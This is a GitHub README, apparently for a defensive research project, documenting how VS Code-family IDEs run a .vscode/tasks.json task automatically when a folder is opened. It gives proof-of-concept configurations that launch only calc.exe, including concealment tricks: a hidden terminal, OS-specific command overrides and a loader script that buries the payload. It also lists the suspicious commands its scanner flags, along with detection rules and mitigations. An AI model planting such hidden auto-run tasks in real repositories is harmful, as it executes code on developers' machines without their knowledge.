wuws/ide-task-rce

GitHub: wuws/ide-task-rce

针对 VS Code 系 IDE 自动任务执行漏洞的安全研究项目,包含 PoC、检测扫描器、YARA/Sigma 规则及企业缓解方案。

Stars: 0 | Forks: 0

# ⚡ IDE Folder-Open RCE:自动任务执行漏洞 [![受影响:VS Code](https://img.shields.io/badge/Affected-VS%20Code-blue?logo=visualstudiocode)](https://code.visualstudio.com/) [![受影响:Cursor](https://img.shields.io/badge/Affected-Cursor-purple)](https://cursor.sh/) [![受影响:Windsurf](https://img.shields.io/badge/Affected-Windsurf-teal)](https://codeium.com/windsurf) [![受影响:Kiro](https://img.shields.io/badge/Affected-Kiro%20(AWS)-orange)](https://kiro.dev/) [![受影响:Antigravity](https://img.shields.io/badge/Affected-Antigravity%20(Google)-4285F4)](https://idx.google.com/) [![严重程度:高](https://img.shields.io/badge/Severity-High-red)]() [![MITRE ATT&CK: T1204.001](https://img.shields.io/badge/MITRE-T1204.001-orange)](https://attack.mitre.org/techniques/T1204/001/) [![用途:教育](https://img.shields.io/badge/Purpose-Educational%20%2F%20Defensive-green)]() [![许可证:MIT](https://img.shields.io/badge/License-MIT-yellow)](LICENSE)
### 🔐 由 [Kurtz](https://t.me/accusable) 呈现 *高级加密与安全解决方案*
## 📋 目录 - [概述](#-summary) - [受影响软件](#-affected-software) - [工作原理](#-how-it-works) - [攻击变体](#-attack-variants) - [实际利用情况](#-real-world-usage) - [影响评估](#-impact-assessment) - [复现步骤](#-reproduction-steps) - [检测方法](#-detection-methods) - [缓解措施](#-mitigation) - [你是否受影响?](#-are-you-vulnerable) - [扫描工具](#-scanner-tool) - [常见问题](#-faq) - [参考链接](#-references) - [免责声明](#%EF%B8%8F-disclaimer) ## 🔍 概述 VS Code 及其衍生 IDE(Cursor、Windsurf 和其他基于 Electron 的编辑器)支持一种 `tasks.json` 工作区配置,可以定义**在打开文件夹时自动运行**的任务。通过在任务上设置 `"runOn": "folderOpen"`,攻击者可以在受害者于其 IDE 中打开恶意仓库或项目文件夹的瞬间实现**任意命令执行**。受害者无需点击任何东西、运行任何命令,也无需在打开文件夹之外与编辑器进行任何交互。这一设计特性已由 Lazarus Group (DPRK) 在野外积极利用,作为“Contagious Interview”活动的一部分,通过木马化的编码挑战和开源仓库 targeting 开发者。 ## 🎯 受影响软件 | IDE | 是否受影响 | 备注 | |-----|-----------|-------| | [**Visual Studio Code**](https://code.visualstudio.com/) | ✅ 是 | 自 tasks API v2.0 以来的核心功能 | | [**Cursor**](https://cursor.sh/) | ✅ 是 | 继承了 VS Code 任务系统 | | [**Windsurf (Codeium)**](https://codeium.com/windsurf) | ✅ 是 | 继承了 VS Code 任务系统 | | [**Kiro (AWS)**](https://kiro.dev/) | ✅ 是 | 基于 VS Code;继承任务系统 | | [**Antigravity (Google)**](https://developer.google.com/project-idx) | ✅ 是 | 基于 VS Code;继承任务系统 | | [**VSCodium**](https://vscodium.com/) | ✅ 是 | 开源 VS Code 分支 | | [**code-server**](https://github.com/coder/code-server) | ✅ 是 | 基于浏览器的 VS Code | | [**GitHub Codespaces**](https://github.com/features/codespaces) | ⚠️ 不定 | 可能具有工作区信任缓解措施 | | **任何兼容 VS Code 任务的 Electron IDE** | ⚠️ 可能 | 如果实现了 tasks.json 规范 | **受影响平台:** Windows、macOS、Linux(这些 IDE 运行的所有平台)。 ## ⚙️ 工作原理 ### 任务系统 VS Code 使用 `.vscode/tasks.json` 来定义构建任务、linter、测试运行器和其他自动化流程。这是开发者通常包含在仓库中的**受信任工作区配置**。 ### 触发器 `"runOn": "folderOpen"` 属性告诉 IDE 在打开工作区时**自动**执行任务: ``` Developer opens folder │ ▼ IDE reads .vscode/tasks.json │ ▼ Finds task with "runOn": "folderOpen" │ ▼ Executes "command" in shell ← ARBITRARY CODE EXECUTION │ ▼ Attacker's payload runs with user privileges ``` ### 最小恶意 tasks.json ``` { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", // <-- Arbitrary command "runOptions": { "runOn": "folderOpen" // <-- Triggers on folder open } } ] } ``` ### 为什么这很危险 1. **无需用户交互** — 文件夹加载后命令立即运行。 2. **受信任的文件路径** — `.vscode/tasks.json` 是开发者预期在仓库中看到的标准配置文件。 3. **易于隐藏** — 任务可以掩埋在合法的构建任务中。 4. **拥有完整用户权限** — 命令以当前用户身份运行,继承其所有权限。 5. **跨平台** — 可针对不同操作系统指定不同命令(`windows`、`linux`、`osx` 属性)。 6. **隐蔽选项** — 可以使用呈现设置隐藏终端输出。 ## 🔪 攻击变体 ### 变体 1:基础版(直接执行) 最简单的形式。打开文件夹时直接运行命令。 ``` // .vscode/tasks.json { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", "runOptions": { "runOn": "folderOpen" } } ] } ``` **检测难度:** 简单 — 命令清晰可见。 参见:[`variants/1-basic/`](variants/1-basic/) ### 变体 2:隐蔽版(隐藏终端 + 特定系统 Payload) 隐藏终端面板并使用单独的特定系统命令。`command` 字段显示一个良性的 `echo`,而真正的 payload 在特定系统的覆盖设置中。 ``` { "version": "2.0.0", "tasks": [ { "label": "initialize workspace", "type": "shell", "command": "echo 'Initializing project...'", "windows": { "command": "cmd /c start calc.exe" }, "presentation": { "reveal": "never", "echo": false, "focus": false, "panel": "shared", "close": true }, "runOptions": { "runOn": "folderOpen" } } ] } ``` **检测难度:** 中等 — 需要检查特定系统的覆盖设置和呈现设置。 参见:[`variants/2-stealth/`](variants/2-stealth/) ### 变体 3:加载器版(委托给脚本) tasks.json 调用一个看起来合法的脚本(例如 Python 设置文件),该脚本包含实际的 payload。这增加了一层间接性,可以绕过简单的 tasks.json 扫描。 ``` // tasks.json just runs a "setup" script { "version": "2.0.0", "tasks": [ { "label": "setup environment", "type": "shell", "command": "python", "args": ["scripts/setup.py"], "runOptions": { "runOn": "folderOpen" } } ] } ``` ``` # scripts/setup.py — 看似合法但包含 payload import subprocess, platform def setup_environment(): """Configure project dependencies.""" print("Setting up development environment...") # ... legitimate-looking code ... if platform.system() == "Windows": subprocess.Popen(["calc.exe"]) # Payload buried in setup logic ``` **检测难度:** 困难 — tasks.json 看起来是良性的,payload 位于单独的文件中。 参见:[`variants/3-loader/`](variants/3-loader/) ## 🌍 实际利用情况 ### Lazarus Group / Contagious Interview 活动 朝鲜 APT 组织 **Lazarus**(被追踪为 **FAMOUS CHOLLIMA**、**UNC4899**)已将此技术武器化,作为 **“Contagious Interview”** 活动的一部分: - **目标:** 软件开发者,主要是那些申请工作或为开源项目做贡献的人。 - **方法:** 受害者收到“编码挑战”或被引导克隆木马化的 GitHub 仓库。该仓库包含一个恶意的 `.vscode/tasks.json`,在文件夹打开时执行 payload。 - **Payload 链:** 初始任务通常运行一个脚本,下载并执行后续阶段的恶意软件(信息窃取器、RAT、加密货币钱包盗取器)。 - **规模:** 已发现数十个木马化的 npm 包和 GitHub 仓库。 ### 关键报告 - **Microsoft Threat Intelligence(2025 年 2 月):** 记录了 FAMOUS CHOLLIMA 利用 VS Code tasks.json 通过虚假求职面试攻击开发者。 - **Abstract Security:** 详细分析了 folderOpen 执行机制和检测策略。 - **SecurityJoes / PaloAlto Unit42:** 追踪了更广泛的 Contagious Interview 活动基础设施。 ## 💥 影响评估 | 因素 | 评级 | |--------|--------| | **利用难易度** | 非常容易 — 只需向仓库添加一个 JSON 文件 | | **所需用户交互** | 无 — 打开文件夹即可 | | **权限提升** | 以当前用户身份运行(在开发机上通常为管理员) | | **隐蔽潜力** | 高 — 终端可隐藏,payload 可委托 | | **受影响人群** | 数百万 VS Code / Cursor / Windsurf 用户 | | **是否在野利用** | 是 — Lazarus Group / Contagious Interview | ### 攻击者能做什么 - 以当前用户身份执行任何命令 - 下载并运行额外的恶意软件 - 窃取源代码、凭据、SSH 密钥、浏览器数据 - 安装持久化后门 - 横向移动到内部网络 - 盗取加密货币钱包密钥 ## 🧪 复现步骤 ### 快速测试(变体 1) 1. 在系统上的任何位置创建一个新文件夹: mkdir test-vuln && cd test-vuln mkdir .vscode 2. 创建包含以下内容的 `.vscode/tasks.json`: { "version": "2.0.0", "tasks": [ { "label": "build", "type": "shell", "command": "calc.exe", "runOptions": { "runOn": "folderOpen" } } ] } 3. 在 VS Code / Cursor / Windsurf 中打开该文件夹: code test-vuln 4. **结果:** Windows 计算器应自动打开,除打开文件夹外无需任何用户交互。 ### 如果计算器没有打开 - 您可能启用了 **Workspace Trust**(VS Code 将显示信任提示)。 - 检查 `Settings > task.allowAutomaticTasks` — 如果设置为 `"off"`,自动任务将被禁用。 - 您之前可能对此工作区选择了“Never(永不)”来关闭自动任务。 ### 测试其他变体 使用 [`variants/`](variants/) 目录中的 PoC。每个都是独立的 — 只需在 IDE 中打开变体文件夹即可。 ## 🔎 检测方法 ### 1. 静态文件扫描 搜索包含 `folderOpen` 的 `tasks.json` 文件: ``` # Linux/macOS find /path/to/repos -path '*/.vscode/tasks.json' -exec grep -l 'folderOpen' {} \; # Windows PowerShell Get-ChildItem -Path C:\repos -Recurse -Filter tasks.json | Where-Object { $_.FullName -match '\.vscode' } | Where-Object { (Get-Content $_.FullName -Raw) -match 'folderOpen' } ``` ### 2. 使用附带的扫描器 此仓库包含一个扫描器,用于检查恶意模式: ``` python scanner/scan.py /path/to/check ``` 参见:[扫描工具](#-scanner-tool) ### 3. YARA 规则 使用附带的 YARA 规则进行文件级检测: ``` detection/yara_rules.yar ``` ### 4. Sigma 规则 使用附带的 Sigma 规则进行基于日志的检测: ``` detection/sigma_rule.yml ``` ### 5. 行为监控 监控由 VS Code / Cursor / Windsurf shell 进程生成的子进程,特别是: - 带有编码命令的 `powershell.exe` 或 `pwsh.exe` - 生成网络实用程序的 `cmd.exe` - 从 `.vscode` 相邻路径运行脚本的 `python` / `node` - 任何在 IDE 启动后立即进行网络连接的进程 ## 🛡️ 缓解措施 ### 对于个人用户 #### 选项 1:禁用自动任务(推荐) 在 VS Code / Cursor / Windsurf 设置(`settings.json`)中: ``` { "task.allowAutomaticTasks": "off" } ``` 或通过 UI:`Settings` > 搜索 `task.allowAutomaticTasks` > 设置为 `off`。 #### 选项 2:启用工作区信任 确保已启用 Workspace Trust(VS Code 默认值): ``` { "security.workspace.trust.enabled": true } ``` 这会在信任新工作区之前提示您。在打开不熟悉的仓库时,**不要盲目点击“Trust”**。 #### 选项 3:打开前检查 在 IDE 中打开任何克隆的仓库之前,检查 `.vscode/tasks.json`: ``` cat .vscode/tasks.json 2>/dev/null || echo "No tasks.json found" ``` ### 对于组织 - 通过组策略或 MDM 部署 `task.allowAutomaticTasks: "off"` 设置。 - 实施标记 tasks.json 中 `runOn: folderOpen` 的预提交钩子。 - 将 YARA 规则添加到端点检测中。 - 培训开发者识别此攻击向量。 - 参见:[`mitigations/`](mitigations/) 获取详细的企业指导。 ## 🔬 你是否受影响? 运行此快速检查: ### 步骤 1:检查您的设置 打开 IDE 并转到 Settings。搜索 `task.allowAutomaticTasks`。 | 值 | 状态 | |-------|--------| | `"off"` | **受保护** — 自动任务不会运行 | | `"on"` | **易受攻击** — 自动任务运行无提示 | | `"prompt"`(某些版本中的默认值) | **部分受保护** — 您会被询问,但可能会直接点击通过 | ### 步骤 2:检查工作区信任 在 Settings 中搜索 `security.workspace.trust.enabled`。 | 值 | 状态 | |-------|--------| | `true`(默认值) | **部分受保护** — 新文件夹需要信任批准 | | `false` | **易受攻击** — 所有文件夹自动受信任 | ### 步骤 3:使用扫描器 ``` # 扫描您的 projects 目录以查找现有威胁 python scanner/scan.py ~/projects ``` ## 🔧 扫描工具 此仓库包含 Python 和 PowerShell 版本的扫描器。 ### Python 扫描器 ``` # 递归扫描目录 python scanner/scan.py /path/to/scan # 示例 python scanner/scan.py ~/projects python scanner/scan.py C:\Users\dev\repos python scanner/scan.py . ``` 扫描器检查: - `runOn: folderOpen` 触发器 - 可疑命令(`powershell -EncodedCommand`、`curl`、`wget`、`msiexec`、`Start-Process` 等) - `command` 与 `windows.command` / `linux.command` / `osx.command` 不匹配(隐蔽技术) - Base64 编码的 payload - 隐藏的呈现设置(`: "never"`、`echo: false`) - 脚本执行(任务调用的 Python、Node、Bash 脚本) 输出使用颜色编码的严重性:**SAFE(安全)**、**WARNING(警告)**、**DANGEROUS(危险)**。 ### PowerShell 扫描器 ``` .\scanner\scan.ps1 -Path C:\Users\dev\repos ``` ## ❓ 常见问题 **Q: 这是一个 bug 还是一个功能?** A: 它是一个 *功能* — VS Code 有意支持 `runOn: folderOpen` 以方便开发者。安全问题在于它启用了一个低阻力的攻击向量,特别是在开发者经常克隆和打开不受信任仓库的环境中。Microsoft 已添加缓解措施(Workspace Trust),但底层能力仍然存在。 **Q: Workspace Trust 能完全保护我吗?** A: 部分能。如果启用了 Workspace Trust(默认值),VS Code 将在信任新文件夹之前提示您。然而,许多开发者习惯性地点击“Trust”而不审查工作区配置,并且有些用户因为频繁的提示而完全禁用了 Workspace Trust。 **Q: 这种攻击可以通过 GitHub PR 执行吗?** A: 可以。如果 pull request 添加或修改了 `.vscode/tasks.json`,并且审查者检出 PR 分支并在其 IDE 中打开它,payload 将被执行。 **Q: 涉及 VS Code 扩展吗?** A: 不。此攻击仅使用 VS Code 内置的任务功能。不需要扩展。 **Q: 为什么是 calc.exe?** A: `calc.exe`(Windows 计算器)是概念验证演示的标准良性 payload。它在证明代码执行的同时不造成任何伤害。此仓库中的所有 PoC 仅使用 calc.exe。 **Q: 这可以在 macOS/Linux 上使用吗?** A: 可以。`command` 字段在系统 shell 中运行。在 macOS 上您可以使用 `open -a Calculator`,在 Linux 上使用 `xcalc` 或任何其他命令。`windows`、`linux` 和 `osx` 属性允许在单个 tasks.json 中指定特定系统的命令。 ## 📚 参考链接 - [Microsoft:FAMOUS CHOLLIMA 利用恶意 VS Code 项目攻击开发者 (2025)](https://www.microsoft.com/en-us/security/blog/) - [Abstract Security:VS Code tasks.json folderOpen 攻击分析](https://www.abstractsecurity.com/) - [MITRE ATT&CK T1204.001 — 用户执行:恶意链接](https://attack.mitre.org/techniques/T1204/001/) - [MITRE ATT&CK T1059 — 命令和脚本解释器](https://attack.mitre.org/techniques/T1059/) - [VS Code 任务文档 — runOn 属性](https://code.visualstudio.com/docs/editor/tasks#_run-behavior) - [Lazarus Group / Contagious Interview — CISA 咨询通告](https://www.cisa.gov/) - [SecurityJoes — Contagious Interview 活动分析](https://www.securityjoes.com/) - [Unit42 — DPRK IT 工人和开发者攻击目标](https://unit42.paloaltonetworks.com/) ## ⚖️ 免责声明 此仓库**严格用于教育和防御性安全研究目的**。概念验证演示仅使用良性 payload(`calc.exe`),旨在提高对此攻击向量的认识。 - **不要**使用这些技术对系统进行未经授权的访问。 - **不要**修改这些 PoC 以包含恶意 payload。 - 作者不对滥用此信息负责。 - 此处记录的所有技术均基于公开已知、有据可查的攻击方法。 - 如果您发现此漏洞在野外被利用,请向受影响的组织和相关当局报告。 **负责任的披露:** 这记录了一个*已知的、公开披露的*攻击技术,该技术已在野外被积极利用。Microsoft 已知晓此能力并实施了部分缓解措施(Workspace Trust)。此仓库的目的是帮助防御者检测和预防这些攻击。 ## 🤝 贡献 欢迎贡献!如果您有: - 额外的检测规则(Splunk、ELK 等) - 扫描器改进 - 在野外发现的新攻击变体 - 针对其他 IDE 的缓解策略 请开启一个 issue 或提交 pull request。 *为安全研究社区创建。保持安全,审查您的工作区。* 🛡️
标签:AI合规, Cursor, DNS信息、DNS暴力破解, DNS 解析, Electron, ESC8, Homebrew安装, IDE漏洞, Kiro, PoC, Project IDX, RCE, Sigma规则, tasks.json, VS Code, Windsurf, YARA规则, 企业防御, 加密, 工作区安全, 恶意文件检测, 暴力破解, 漏洞扫描器, 目标导入, 社会工程学, 编程工具, 自动任务执行, 远程代码执行, 逆向工具, 错误基检测, 静态代码分析